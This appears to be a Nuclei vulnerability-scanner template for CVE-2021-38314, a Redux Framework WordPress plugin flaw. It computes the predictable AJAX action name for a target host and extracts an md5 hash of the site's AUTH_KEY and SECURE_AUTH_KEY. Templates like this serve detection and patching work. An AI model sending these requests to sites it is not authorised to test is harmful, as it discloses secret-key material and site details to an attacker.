52 lines
1.9 KiB
YAML
52 lines
1.9 KiB
YAML
id: CVE-2021-38314
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info:
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name: Redux Framework - Unauthenticated Sensitive Information Disclosure
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author: meme-lord
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severity: medium
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reference:
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- https://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/
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- https://wahaz.medium.com/unauthenticated-sensitive-information-disclosure-at-redacted-2702224098c
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- https://blog.sorcery.ie/posts/redux_wordpress/
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tags: cve,cve2021,wordpress,wp-plugin
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.30
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cve-id: CVE-2021-38314
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description: "The Gutenberg Template Library & Redux Framework plugin <= 4.2.11 for WordPress registered several AJAX actions available to unauthenticated users in the `includes` function in `redux-core/class-redux-core.php` that were unique to a given site but deterministic and predictable given that they were based on an md5 hash of the site URL with a known salt value of '-redux' and an md5 hash of the previous hash with a known salt value of '-support'. These AJAX actions could be used to retrieve a list of active plugins and their versions, the site's PHP version, and an unsalted md5 hash of site's `AUTH_KEY` concatenated with the `SECURE_AUTH_KEY`."
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requests:
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- raw:
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- |
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GET /wp-admin/admin-ajax.php?action={{md5(replace('http://HOST/-redux','HOST',Hostname))}} HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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- |
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GET /wp-admin/admin-ajax.php?action={{md5(replace('https://HOST/-redux','HOST',Hostname))}} HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- "len(body)<50"
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- type: regex
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name: meme
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regex:
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- '[a-f0-9]{32}'
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part: body
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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part: body
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regex:
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- "[a-f0-9]{32}"
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